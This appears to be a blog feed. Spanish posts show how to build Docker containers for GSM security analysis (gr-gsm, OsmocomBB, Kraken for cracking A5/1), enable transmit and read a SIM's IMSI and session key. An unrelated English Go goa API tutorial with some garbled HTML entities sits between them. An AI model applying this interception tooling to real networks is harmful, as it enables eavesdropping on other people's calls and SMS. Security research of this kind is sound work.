Nota: RTL-SDR es un tipo de SDR muy barato que utiliza dongles USB basados en el xip RTL2832U pensados para ver la TV y escuchar la radio. Mediante los esfuerzos combinados de Antti Palosaari, Eric Fry y Osmocom se descubrió que era posible acceder directamente a los datos de la señal I/Q de estos dispositivos, lo que permitió convertirlos en SDRs mediante un nuevo driver.

El código para crear la imagen Docker está en este repositorio:

Así como ésta ya compilada en Docker Hub:

docker pull pachulo/xenial-gnuradio-rtl-toolkit

Como se puede ver en el Dockerfile la imagen:

Una vez compilada la imagen o descargada de Docker Hub, ya podremos realizar las primeras pruebas: por ejemplo, para comprobar que podemos acceder al dispositivo RTL desde el contenedor, podemos ejecutar el comando rtl_test dentro de un contenedor efímero:

docker run --rm --device=/dev/bus/usb/002 --entrypoint rtl_test pachulo/xenial-gnuradio-rtl-toolkit

Nota: una forma fácil de averiguar en que HUB USB hemos conectado nuestro dispositivo es ejecutar el comando dmesg justo después de conectarlo. Para el ejemplo de arriba me he guiado por esta información:

...
[10891.158562] usb 2-1.3: new high-speed USB device number 14 using ehci-pci
[10891.279033] usb 2-1.3: New USB device found, idVendor=0bda, idProduct=2838
[10891.279039] usb 2-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[10891.279041] usb 2-1.3: Product: RTL2838UHIDIR
[10891.279043] usb 2-1.3: Manufacturer: Realtek
[10891.279045] usb 2-1.3: SerialNumber: 00000001
...

GR-GSM

Basado en la anterior se ha creado una imagen con gr-gsm, un software basado en GNURadio y cuyo objetivo es (según su propio autor):

The aim is to provide set of tools for receiving information transmitted by GSM equipment/devices.

En el siguiente enlace su pueden obtener los ficheros para compilar la imagen Docker:

Así como ésta ya compilada en Docker Hub:

docker pull pachulo/xenial-gr-gsm

Tal y como se puede observar en el Dockerfile, para crear la imagen se compila el software desde el código fuente y se copian un par de archivos para su correcto funcionamiento.

Antes de poder utilizar la imagen habrá que explicar un par de cosas sobre ejecutar aplicaciones basadas en X11 dentro de contenedores.

Aplicaciones gráficas dentro de contenedores

Ejecutar aplicaciones con GUI dentro de contenedores es un problema que ya se ha abordado anteriormente y para el que existen varias soluciones. Y si queremos obtener aceleración por hardware para utilizar aplicaciones OpenGL (como por ejemplo GNURadio) la cosa se complica un poco más, tal y como se explica en HW accelerated GUI apps on Docker.

Además de todo esto, si el sistema utiliza una tarjeta gráfica NVIDIA con el driver privativo, hará falta instalar en el host nvidia-docker, una utilidad de NVIDIA para crear y ejecutar imágenes Docker con acceso a sus GPUs (el porqué es necesaria la utilidad está explicado en su wiki).

La solución que se ha utilizado para este caso es la siguiente:

  • Antes de crear el contenedor:
  • Y al crearlo:
    • Se monta el nuevo fichero Xauthority dentro del contenedor.
    • Se configura la variable de entorno XAUTH en el contenedor para que apunte al nuevo fichero Xauthority.
    • Se pasa la variable de entorno DISPLAY al contenedor con el mismo valor que la del host.
    • Se monta el fichero que hará de socket X dentro del contenedor.
    • Se monta el fichero de caracteres que representa a la tarjeta gráfica dentro del contenedor (de esto se encarga nvidia-docker para GPUs NVIDIA).

Ya que creo que ofrece suficiente aislamiento: el contenedor solo tendrá acceso de lectura-escritura al socket X y al fichero Xauthority y solo se podrá acceder al servidor X11 con la cookie creada para el nuevo fichero Xauthority, además de funcionar con la aceleración por hardware.

Nota: El contenedor creado funciona en mi máquina Ubuntu, que utiliza una tarjeta NVIDIA y el driver privativo, con nvidia-docker pero lo suyo sería ver si en otros sistemas basados en Linux con gráficas Intel y ATI también funciona (utilizando los drivers basados en MESA en esos casos, tal y como se explica aquí). Los usuarios de Windows y MacOS pueden probar alguna de las cosas que se comentan en este issue de Docker.

gr-gsm livemon

Una vez compilada o descargada la imagen y instalado nvidia-docker en el host ya se podrá realizar alguna prueba, como por ejemplo sintonizar el canal de broadcast (BCCH) de estaciones base próximas con la aplicación grgsm_livemon, ejecutando el siguiente script:

# Video support
XAUTH=/tmp/.docker.xauth
touch $XAUTH
xauth nlist $DISPLAY | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge -
XSOCK=/tmp/.X11-unix

# Launch container
nvidia-docker run \
 --volume $XAUTH:$XAUTH \
 --env XAUTHORITY=$XAUTH \
 --env DISPLAY \
 --volume $XSOCK:$XSOCK \
 --env="QT_X11_NO_MITSHM=1" \
 --device=/dev/bus/usb/002 \
 --rm \
 --entrypoint grgsm_livemon \
 pachulo/xenial-gr-gsm

Si todo ha ido bien, se tendría que abrir una ventana como esta:

OsmocomBB

Otra de las imágenes que se ha creado ha sido una con OsmocomBB listo para usar. Toda la información sobre OsmocomBB se puede encontrar en su wiki, pero básicamente:

OsmocomBB is an Free Software / Open Source GSM Baseband software implementation. It
intends to completely replace the need for a proprietary GSM baseband software, such as
– drivers for the GSM analog and digital baseband (integrated and external) peripherals
– the GSM phone-side protocol stack, from layer 1 up to layer 3
In short: By using OsmocomBB on a compatible phone, you will be able
to make and receive phone calls, send and receive SMS, etc. based on Free Software only.

En el siguiente enlace su pueden obtener los ficheros para compilar la imagen Docker:

Así como ésta ya compilada en Docker Hub:

docker pull pachulo/xenial-osmocombb

Nota: Para poder utilizar esta imagen hará falta un teléfono compatible y un cable/adaptador USB-serie.

Cargar firmware y ejecutar la aplicación mobile

Una vez descargada (o compilada) la imagen y conectado el teléfono con el adaptador USB-serie, podemos arrancar un contenedor con la misma:

docker run --device=/dev/ttyUSB0 --rm -it --name test-osmocombb pachulo/xenial-osmocombb

Podemos probar a cargar un firmware en el teléfono ejecutando el comando osmocon dentro del contenedor:

cd /osmocom-bb/src/host/osmocon && ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin

Y haciendo una pulsación corta del botón de encendido del teléfono.

Si el firmware se ha cargado de forma correcta, el siguiente paso será conectarnos al contenedor desde otro terminal y ejecutar “mobile”, la implementación de la funcionalidad de un teléfono móvil normal que correrá en el contenedor:

docker exec -ti test-osmocombb /bin/bash
cd /osmocom-bb/src/host/layer23/src/mobile && ./mobile -i 127.0.0.1

Y que nos permitirá conectarnos y interactuar con el teléfono a través de telnet:

docker exec -ti test-osmocombb /bin/bash
telnet 127.0.0.1 4247

Kraken

Otra de las herramientas que se utilizan para el análisis de seguridad de redes GSM es Kraken, un software que:

… allows the ‘cracking’ of A5/1 keys used to secure GSM 2G calls and SMS.

Nota: Para poder ejecutar esta herramienta será necesario un disco de 2TB para almacenar las rainbow tables (y unos 1.8TB de espacio de disco en otro sitio para descargarlas y poder volcarlas luego). Todo el proceso está explicado en Passive GSM interception Part 1. Para el volcado de las tablas se puede utilizar el contenedor.

Los ficheros para compilar la imagen están aquí:

Así como ésta ya compilada en Docker Hub:

docker pull pachulo/xenial-kraken

Para ejecutarla necesitaremos clonar el repositorio:

git clone https://github.com/pachulo/docker-xenial-kraken

Y después ejecutar el contenedor con algo similar a esto:

docker run -ti --rm --device=/dev/disk/by-id/wwn-0x5000c50091dc385d-part2:/dev/xvdc2 -v /media/$USER/DRIZZLECHAIR/kraken/indexes/:/kraken/indexes/ pachulo/xenial-kraken

Conclusión

En la continuación de esta entrada veremos cómo ejecutar algunos escenarios de análisis y ataque en GSM utilizando estos contenedores.

Creating your Go HTTP API easily with goa

$
0
0

Using the great and simple Go http package is more than enough (and what I use) to expose simple HTTP endpoints. But when you need to build a HTTP API with lots of endpoints and user/media types, you have a lot of work ahead.

I found that using goa was a good solutions in those cases, because:

  • You design your API using a design language (DSL).
  • Lot of things are generated for you (useful code, swagger documentation, a client for the API, etc.).
  • You get a Single Source of Trust (SSoT), so for example your swagger documentation is always updated with your controllers.

But I’ll be easier to show it with a quick tutorial, so let’s go 🙂

Requirements

$ go version
go version go1.8.1 darwin/amd64
$ echo $GOPATH
/Users/Redsadic

(I like to use my $HOME as my GOPATH)

  • Install goa.
$ go get -v github.com/goadesign/goa
  • Create your new Go project in the $GOPATH/src directory.
$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets
$ cd $GOPATH/src/github.com/julianvilas/dummy-secrets

Now let’s start with the fun 🙂

Design

First of all, we need to define the API using the goa DSL. Let’s create a dummy API to share secrets using One-Time links (OTL). It’s not the case of a complex API but it’s easy to show how to work with goa.

We will have 2 endpoints:

  1. To store a new secret returning the corresponding OTL.
  2. To retrieve a secret using its OTL.

To define the API create a package called design:

$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets/design

And edit the file design.go (can be named as you want, e.g. api.go or split in different files).

package design

import (
 . "github.com/goadesign/goa/design"
 . "github.com/goadesign/goa/design/apidsl"
)

var _ = API("dummy-secrets", func() {
 Title("Dummy secrets")
 Description("Share your secrets using a dummy API")
 Version("1.0")
 BasePath("/v1")
 Scheme("http")
 Host("localhost:8080")
 Consumes("application/json")
})

By now we have added some basic information of the API. The BasePath will affect the URLs of all the resources we are going to add later, and the Scheme, Host and Consumes will affect both the client and the swagger documentation.

Now we can bootstrap the API running:

$ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design
app
app/contexts.go
app/controllers.go
app/hrefs.go
app/media_types.go
app/user_types.go
main.go
tool/dummy-secrets-cli
tool/dummy-secrets-cli/main.go
tool/cli
tool/cli/commands.go
client
client/client.go
client/user_types.go
client/media_types.go
swagger
swagger/swagger.json
swagger/swagger.yaml
$ ll
total 8
drwxr-xr-x 7 Redsadic staff 238B 1 may 18:14 app/
drwxr-xr-x 5 Redsadic staff 170B 1 may 18:14 client/
drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 design/
-rw-r--r-- 1 Redsadic staff 555B 1 may 18:14 main.go
drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 swagger/
drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 tool/

As can be seen, some files have been generated:

  • The directory tool will contain a cli to interact with the API.
  • The client will contain a SDK, used by the cli, to interact with the API.
  • The app will implement all the needed low-level HTTP functions.
  • The swagger will contain the autogenerated documentation.
  • In the root directory, the main.go will start the HTTP server will all the API controllers (0 by now). That one, with the design package are the only we should modify. The others from above are auto-generated and shouldn’t be edited by hand.

Let’s take a look at the main.go:

//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design

package main

import (
 "github.com/goadesign/goa"
 "github.com/goadesign/goa/middleware"
)

func main() {
 // Create service
 service := goa.New("dummy-secrets")

 // Mount middleware
 service.Use(middleware.RequestID())
 service.Use(middleware.LogRequest(true))
 service.Use(middleware.ErrorHandler(service, true))
 service.Use(middleware.Recover())

 // Start service
 if err := service.ListenAndServe(":8080"); err != nil {
 service.LogError("startup", "err", err)
 }

}

A new goa service is created, applying some useful middleware to it. And then the HTTP server is run listening at the port 8080 we defined in the design.go.

Now we can build, install and run it typing:

$ go install ./...
$ dummy-secrets
dummy-secrets dummy-secrets-cli
$ dummy-secrets
2017/05/01 18:33:04 [INFO] listen transport=http addr=:8080

Now we have a really dummy API, because we haven’t defined yet any resource. So let’s add the endpoints we mentioned.

Edit the design/design.go file and add:

var _ = Resource("Secrets", func() {
 BasePath("/secrets")

 Response(Created, func() {
 Status(201)
 Headers(func() {
 Header("Location", String, "Resource location", func() {
 Pattern("/secrets/[-a-zA-Z0-9]+")
 })
 })
 })

 Action("create", func() {
 Routing(POST("/"))
 Description("Store a new Secret")
 Payload(SecretPayload)
 Response(Created)
 Response(InternalServerError, ErrorMedia)
 Response(BadRequest)
 })

 Action("show", func() {
 Routing(GET("/:id"))
 Params(func() {
 Param("id", UUID)
 })
 Description("Get a Secret by its ID")
 Response(OK, SecretMedia)
 Response(NotFound)
 Response(InternalServerError, ErrorMedia)
 Response(BadRequest)
 })
})

var SecretPayload = Type("SecretPayload", func() {
 Attribute("secret", String, func() {
 Description("A secret to be shared with someone.")
 Example(`I'm a secret, share me with someone safely please.`)
 MinLength(1)
 MaxLength(255)
 Pattern("^[[:print:]]+")
 })
 Required("secret")
})

var SecretMedia = MediaType("application/vnd.secret+json", func() {
 Reference(SecretPayload)

 Attributes(func() {
 Attribute("secret")
 Required("secret")
 })

 View("default", func() {
 Attribute("secret")
 })
})

We have created a new Resource “Secrets”, with path /v1/secrets. Then we have defined two actions for it:

  • create: receives a payload like '{ "secret" : "I am a dummy secret"}' and returns an HTTP Created response, with a Location header pointing to the secret.
  • show: retrieves a secret by its ID and returns the SecretMedia.

As you see we have defined the attributes (with validation requirements), the responses and the data we expect from the users.

Now, let’s bootstrap again (we can delete the main.go file first to let it be generated again).

$ rm main.go
$ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design
app
app/contexts.go
app/controllers.go
app/hrefs.go
app/media_types.go
app/user_types.go
app/test
app/test/secrets_testing.go
main.go
secrets.go
tool/cli
tool/cli/commands.go
client
client/client.go
client/secrets.go
client/user_types.go
client/media_types.go
swagger
swagger/swagger.json
swagger/swagger.yaml

Now we see that some more stuff has been generated:

  • a secrets.go file that contains the secrets controller.
  • a helper under app to create tests for the controller.

Tne new main.go now contains this new content, that is used to mount the controller into the goa service:

 // Mount "Secrets" controller
 c := NewSecretsController(service)
 app.MountSecretsController(service, c)

And the secrets.go contains:

package main

import (
 "github.com/goadesign/goa"
 "github.com/julianvilas/dummy-secrets/app"
)

// SecretsController implements the Secrets resource.
type SecretsController struct {
 *goa.Controller
}

// NewSecretsController creates a Secrets controller.
func NewSecretsController(service *goa.Service) *SecretsController {
 return &amp;amp;amp;amp;amp;amp;amp;SecretsController{Controller: service.NewController("SecretsController")}
}

// Create runs the create action.
func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error {
 // SecretsController_Create: start_implement

 // Put your logic here

 // SecretsController_Create: end_implement
 return nil
}

// Show runs the show action.
func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error {
 // SecretsController_Show: start_implement

 // Put your logic here

 // SecretsController_Show: end_implement
 res := &amp;amp;amp;amp;amp;amp;amp;app.Secret{}
 return ctx.OK(res)
}

 

Now we have to implement the logic of these two controllers.

Implement

First we need to create a storage where secrets can be stored and retrieved. In order to make things easy to test or replace and well organized, we will define a Persister interface. Let’s put it in its own package persister.

$ mkdir persister
$ touch persister/persister.go

Edit the persister.go and add:

package persister

import (
 uuid "github.com/satori/go.uuid"
)

type Persister interface {
 Store(secret string) uuid.UUID
 Retrieve(id uuid.UUID) (string, error)
}

 

And add also a implementation for the Persister interface:

type MemPersister struct {
 storage map[string]string
 mux sync.RWMutex
}

func NewMemPersister() *MemPersister {
 return &amp;amp;amp;amp;amp;amp;MemPersister{
 storage: make(map[string]string),
 }
}

func (mp *MemPersister) Store(secret string) uuid.UUID {
 id := uuid.NewV4()

 mp.mux.Lock()
 defer mp.mux.Unlock()

 mp.storage[id.String()] = secret

 return id
}

func (mp *MemPersister) Retrieve(id uuid.UUID) (string, error) {
 mp.mux.RLock()
 defer mp.mux.RUnlock()

 secret, ok := mp.storage[id.String()]
 if !ok {
 return "", fmt.Errorf("error: a secret with id %v doesn't exist.", id)
 }
 delete(mp.storage, id.String())

 return secret, nil
}

 

Now we need to do two things:

  1. Add a Persister to the secrets controller, and implement the logic.
  2. Inject the MemPersister in the main.

First we modify the secrets.go:

package main

import (
 "github.com/goadesign/goa"
 "github.com/julianvilas/dummy-secrets/app"
 "github.com/julianvilas/dummy-secrets/persister"
)

// SecretsController implements the Secrets resource.
type SecretsController struct {
 *goa.Controller
 storage persister.Persister
}

// NewSecretsController creates a Secrets controller.
func NewSecretsController(service *goa.Service, st persister.Persister) *SecretsController {
 return &amp;amp;amp;amp;amp;amp;SecretsController{
 Controller: service.NewController("SecretsController"),
 storage: st,
 }
}

// Create runs the create action.
func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error {
 secret := ctx.Payload.Secret
 id := c.storage.Store(secret)

 ctx.ResponseData.Header().Set("Location", app.SecretsHref(id.String()))

 return ctx.Created()
}

// Show runs the show action.
func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error {
 id := ctx.ID
 secret, err := c.storage.Retrieve(id)
 if err != nil {
 goa.LogError(ctx, err.Error())
 return ctx.NotFound()
 }

 res := &amp;amp;amp;amp;amp;amp;app.Secret{secret}
 if err := res.Validate(); err != nil {
 goa.LogError(ctx, err.Error())
 return ctx.InternalServerError(goa.ErrInternal(err))

 }

 return ctx.OK(res)
}

 

And finally the main.go:

//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design

package main

import (
 "github.com/goadesign/goa"
 "github.com/goadesign/goa/middleware"
 "github.com/julianvilas/dummy-secrets/app"
 "github.com/julianvilas/dummy-secrets/persister"
)

func main() {
 // Create service
 service := goa.New("dummy-secrets")

 // Mount middleware
 service.Use(middleware.RequestID())
 service.Use(middleware.LogRequest(true))
 service.Use(middleware.ErrorHandler(service, true))
 service.Use(middleware.Recover())

 // Mount "Secrets" controller
 mp := persister.NewMemPersister()
 c := NewSecretsController(service, mp)
 app.MountSecretsController(service, c)

 // Start service
 if err := service.ListenAndServe(":8080"); err != nil {
 service.LogError("startup", "err", err)
 }

}

 

Run

Let’s test what we did. First of all, build and install again with go install ./....

Now use the cli to store a secret and the retrieve it:

$ dummy-secrets-cli
CLI client for the dummy-secrets service

Usage:
 dummy-secrets-cli [command]

Available Commands:
 create Store a new Secret
 help Help about any command
 show Get a Secret by its ID

Flags:
 --dump Dump HTTP request and response.
 -H, --host string API hostname (default "localhost:8080")
 -s, --scheme string Set the requests scheme
 -t, --timeout duration Set the request timeout (default 20s)

Use "dummy-secrets-cli [command] --help" for more information about a command.

 

Start the service:

$ dummy-secrets
2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Create route=POST /v1/secrets
2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Show route=GET /v1/secrets/:id
2017/05/01 20:03:21 [INFO] listen transport=http addr=:8080

 

Store a secret:

$ dummy-secrets-cli create secrets --payload '{ "secret" : "a dummy secret" }' --dump
2017/05/01 20:05:30 [INFO] started id=OIBa7E5P POST=http://localhost:8080/v1/secrets
2017/05/01 20:05:30 [INFO] request headers Content-Type=application/json User-Agent=dummy-secrets-cli/1.0
2017/05/01 20:05:30 [INFO] request body={"secret":"a dummy secret"}
2017/05/01 20:05:30 [INFO] completed id=OIBa7E5P status=201 time=3.515675ms
2017/05/01 20:05:30 [INFO] response headers Date=Mon, 01 May 2017 18:05:30 GMT Content-Length=0 Content-Type=text/plain; charset=utf-8 Location=/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7

In the last line of the log can be seen the Location header where the ID of the secret is returned:

Location=/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7

Now retrieve the secret using the ID:

$ dummy-secrets-cli show secrets --id 614dcf25-02e2-43dd-9809-e189abb7d8a7 --pp
2017/05/01 20:08:28 [INFO] started id=0VBkwhgo GET=http://localhost:8080/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7
2017/05/01 20:08:28 [INFO] completed id=0VBkwhgo status=200 time=4.074434ms
{
 "secret": "a dummy secret"
}

If you try to run it again, you’ll see that the secret is no longer available, as we implemented it as an OTL.

You can test it also with curl:

$ curl -vvv -X POST --data '{ "secret" : "a dummy secret" }' http://localhost:8080/v1/secrets
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 8080 (#0)
&amp;amp;amp;amp;gt; POST /v1/secrets HTTP/1.1
&amp;amp;amp;amp;gt; Host: localhost:8080
&amp;amp;amp;amp;gt; User-Agent: curl/7.51.0
&amp;amp;amp;amp;gt; Accept: */*
&amp;amp;amp;amp;gt; Content-Length: 31
&amp;amp;amp;amp;gt; Content-Type: application/x-www-form-urlencoded
&amp;amp;amp;amp;gt;
* upload completely sent off: 31 out of 31 bytes
&amp;amp;amp;amp;lt; HTTP/1.1 201 Created
&amp;amp;amp;amp;lt; Location: /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9
&amp;amp;amp;amp;lt; Date: Mon, 01 May 2017 18:13:25 GMT
&amp;amp;amp;amp;lt; Content-Length: 0
&amp;amp;amp;amp;lt; Content-Type: text/plain; charset=utf-8
&amp;amp;amp;amp;lt;
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact

$ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 8080 (#0)
&amp;amp;amp;amp;gt; GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1
&amp;amp;amp;amp;gt; Host: localhost:8080
&amp;amp;amp;amp;gt; User-Agent: curl/7.51.0
&amp;amp;amp;amp;gt; Accept: */*
&amp;amp;amp;amp;gt;
&amp;amp;amp;amp;lt; HTTP/1.1 200 OK
&amp;amp;amp;amp;lt; Content-Type: application/vnd.secret+json
&amp;amp;amp;amp;lt; Date: Mon, 01 May 2017 18:14:58 GMT
&amp;amp;amp;amp;lt; Content-Length: 28
&amp;amp;amp;amp;lt;
{"secret":"a dummy secret"}
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact
$ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 8080 (#0)
&amp;amp;amp;amp;gt; GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1
&amp;amp;amp;amp;gt; Host: localhost:8080
&amp;amp;amp;amp;gt; User-Agent: curl/7.51.0
&amp;amp;amp;amp;gt; Accept: */*
&amp;amp;amp;amp;gt;
&amp;amp;amp;amp;lt; HTTP/1.1 404 Not Found
&amp;amp;amp;amp;lt; Date: Mon, 01 May 2017 18:15:00 GMT
&amp;amp;amp;amp;lt; Content-Length: 0
&amp;amp;amp;amp;lt; Content-Type: text/plain; charset=utf-8
&amp;amp;amp;amp;lt;
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact

 

And that was all! We got it running 🙂

You got the example in github, just:

$ go get -v github.com/julianvilas/dummy-secrets

Also you can see the swagger doc in http://swagger.goa.design/?url=julianvilas/dummy-secrets/design.

Improvements

  1. Create a FilePersister and to store in files instead of memory (or a S3Persister, it’s easy to replace the Persister as we created it as an interface).
  2. Create tests! You can use the app/test helpers goa generated for you.
  3. Create documentation.

References

 

Cuando las ballenas vuelan (episodio II) – Creando un entorno de análisis GSM usando Docker (parte 2)

$
0
0

Esta es la segunda parte de la serie (parte 1) y se empezará a explicar un escenario de análisis GSM usando los contenedores creados en la primera.

Obtener la clave de cifrado GSM con OsmocomBB

Una de las cosas que se puede hacer con OsmocomBB es acceder a la clave de sesión de cifrado simétrico GSM (Kc).

Nota: Tal y como se explicó en la anterior entrada, para seguir estos pasos son necesarios un teléfono compatible con OsmocomBB y un cable/adaptador USB-serie.

El primer paso será arrancar un contenedor de la imagen xenial-osmocombb dándole acceso al dispositivo que representa al adaptador USB-serie:

docker run --device=/dev/ttyUSB0 --rm -it --name test-osmocombb pachulo/xenial-osmocombb

Este comando creará un contenedor efímero (--rm), de nombre test-osmocombb y ejecutará un terminal interactivo en el mismo (-it).

Activar la emisión de señales (Tx)

Por cuestiones de seguridad (en algunos países está prohibido emitir en el espectro GSM sin licencia), OsmocomBB está configurado por defecto para tan sólo permitir la recepción de señales. Para obtener un firmware que sea capaz de emitir (para registrarse en la red del operador, por ejemplo) habrá que realizar las siguientes acciones.

Seguir las instrucciones del archivo /osmocom-bb/src/target/firmware/Makefile:

# Uncomment this line if you want to enable Tx (Transmit) Support.
#CFLAGS += -DCONFIG_TX_ENABLE

Y descomentar el FLAG con un comando como este:

sed -i 's/#CFLAGS += -DCONFIG_TX_ENABLE/CFLAGS += -DCONFIG_TX_ENABLE/g' /osmocom-bb/src/target/firmware/Makefile

Y después volver a compilar OsmocomBB con el siguiente comando:

cd /osmocom-bb/src && \
make distclean && \
make

osmocon

Una vez finalizado el anterior paso y desde la sesión del contenedor, se ejecutará osmocon con unas opciones parecidas a estas, teniendo en cuenta que según el teléfono usado puede ser otro firmware el que haya que cargar:

cd /osmocom-bb/src/host/osmocon && \
./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin

Nota: Las diferentes opciones de osmocon, así como los firmware disponibles para cada teléfono, están explicadas en la documentación.

Una vez ejecutado el comando, con el teléfono conectado al ordenador mediante el cable/adaptador USB-serie, se deberá pulsar el botón de encendido del teléfono brevemente para que cargue el firmware de OsmocomBB y no el original.

Si todo ha ido bien, en la consola se debería ver algo como:

Received PROMPT1 from phone, responding with CMD [16/147]
read_file(../../target/firmware/board/compal_e88/layer1.compalram.bin): file_size=58484, hdr_len=4, dnload_len=58491
got 1 bytes from modem, data looks like: 1b .
got 1 bytes from modem, data looks like: f6 .
got 1 bytes from modem, data looks like: 02 .
got 1 bytes from modem, data looks like: 00 .
got 1 bytes from modem, data looks like: 41 A
got 1 bytes from modem, data looks like: 02 .
got 1 bytes from modem, data looks like: 43 C
Received PROMPT2 from phone, starting download
handle_write(): 4096 bytes (4096/58491)
handle_write(): 4096 bytes (8192/58491)
handle_write(): 4096 bytes (12288/58491)
handle_write(): 4096 bytes (16384/58491)
handle_write(): 4096 bytes (20480/58491)
handle_write(): 4096 bytes (24576/58491)
handle_write(): 4096 bytes (28672/58491)
handle_write(): 4096 bytes (32768/58491)
handle_write(): 4096 bytes (36864/58491)
handle_write(): 4096 bytes (40960/58491)
handle_write(): 4096 bytes (45056/58491)
handle_write(): 4096 bytes (49152/58491)
handle_write(): 4096 bytes (53248/58491)
handle_write(): 4096 bytes (57344/58491)
handle_write(): 1147 bytes (58491/58491)
handle_write(): finished
got 1 bytes from modem, data looks like: 1b .
got 1 bytes from modem, data looks like: f6 .
got 1 bytes from modem, data looks like: 02 .
got 1 bytes from modem, data looks like: 00 .
got 1 bytes from modem, data looks like: 41 A
got 1 bytes from modem, data looks like: 03 .
got 1 bytes from modem, data looks like: 42 B
Received DOWNLOAD ACK from phone, your code is running now!
battery_compal_e88_init: starting up



OsmocomBB Layer 1 (revision osmocon_v0.0.0-1773-g0cdf4b0)
======================================================================
Device ID code: 0xb4fb
Device Version code: 0x0000
ARM ID code: 0xfff3
cDSP ID code: 0x0128
Die ID code: ee0c2c2ab8021437
======================================================================
REG_DPLL=0x2413
CNTL_ARM_CLK=0xf0a1
CNTL_CLK=0xff91
CNTL_RST=0xfff3
CNTL_ARM_DIV=0xfff9

...

Y en la pantalla del teléfono:

Layer 1
osmocom-bb

mobile

El siguiente paso es abrir otra sesión en el contenedor:

docker exec -ti test-osmocombb /bin/bash

Y ejecutar el comando mobile para que se conecte al teléfono y haga las funciones de capa 2-3:

cd /osmocom-bb/src/host/layer23/src/mobile && \
./mobile -i 127.0.0.1

Y permita la gestión del mismo. Para ello habrá que abrir una tercera sesión dentro del contenedor:

docker exec -ti test-osmocombb /bin/bash

Y conectarse, mediante telnet, al puerto abierto por mobile:

telnet 127.0.0.1 4247

Con lo que se obtendrá acceso a la interfaz de control de OsmocomBB:

Welcome to the OsmocomBB control interface
OsmocomBB> ?
  show      Show running system information
  list      Print command list
  exit      Exit current mode and down to previous mode
  help      Description of the interactive help system
  enable    Turn on privileged mode command
  terminal  Set terminal line parameters
  who       Display who is on vty
  monitor   Monitor...
  no        Negate a command or set its defaults

Nota: La documentación del comando mobile está disponible aquí.

Y desde la que, una vez activado el modo privilegiado con el comando enable:

OsmocomBB> enable
OsmocomBB# ?
 help       Description of the interactive help system
  list       Print command list
  write      Write running configuration to memory, network, or terminal
  show       Show running system information
  exit       Exit current mode and down to previous mode
  disable    Turn off privileged mode command
  configure  Configuration from vty interface
  copy       Copy configuration
  terminal   Set terminal line parameters
  who        Display who is on vty
  monitor    Monitor...
  no         Negate a command or set its defaults
  off        Turn mobiles off (shutdown) and exit
  sim        SIM actions
  network    Network ...
  call       Make a call
  sms        Send an SMS
  service    Send a Supplementary Service request
  test       Manually trigger cell re-selection
  delete     Delete

Será posible desbloquear la SIM con el PIN:

OsmocomBB# sim pin 1 1234

Y, después de esperar unos segundos a que se produzca el registro en la red del operador:

% (MS 1)
% Trying to registering with network...

% (MS 1)
% On Network, normal service: Spain, Orange

Ya se podrá obtener información como el IMSI (International Mobile Subscriber Identity), el ICCID (Integrated Circuit Card IDentifier) y la clave Kc:

OsmocomBB# show subscriber 1
Mobile Subscriber of MS '1':
IMSI: 2140345XXXXXXXX
ICCID: 89340141716XXXXXXXX
Service Provider Name: Orange
SMS Service Center Address: +34656000311
Status: U1_UPDATED IMSI attached TMSI 0x7081xxxxx
LAI: MCC 214 MNC 03 LAC 0xXXXX (Spain, Orange)
Key: sequence 0 23 7d cf ff ff ff ff ff
Registered PLMN: MCC 214 MNC 03 (Spain, Orange)
Access barred cells: no
Access classes: C0

...

Así como los datos de la celda a la que está conectado:

OsmocomBB# show ms
MS '1' is up, service is normal
 IMEI: 000000000000000
   IMEISV: 0000000000000000
   IMEI generation: fixed
 automatic network selection state: A2 on PLMN
                                    MCC=214 MNC=03 (Spain, Orange)
 cell selection state: C3 camped normally
                       ARFCN=993 MCC=214 MNC=03 LAC=0x0XXX CELLID=0x0XXX
                       (Spain, Orange)
 radio ressource layer state: idle
 mobility management layer state: MM idle, normal service

...

Analizar y decodificar el Common Control CHannel de un ARFCN con OsmocomBB y Wireshark

Para poder hacer esto habrá que arrancar el contenedor de la siguiente manera:

docker run --device=/dev/ttyUSB0 --net=host --rm -it --name test-osmocombb pachulo/xenial-osmocombb

Cargar el mismo firmware que para el ejemplo anterior:

cd /osmocom-bb/src/host/osmocon && \
./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin

Pero ejecutar en este caso la aplicación ccch_scan (en vez de mobile):

docker exec -ti test-osmocombb /bin/bash

Indicando en el parámetro ARFCN (Absolute Radio-Frequency Channel Number) el que se quiera sintonizar:

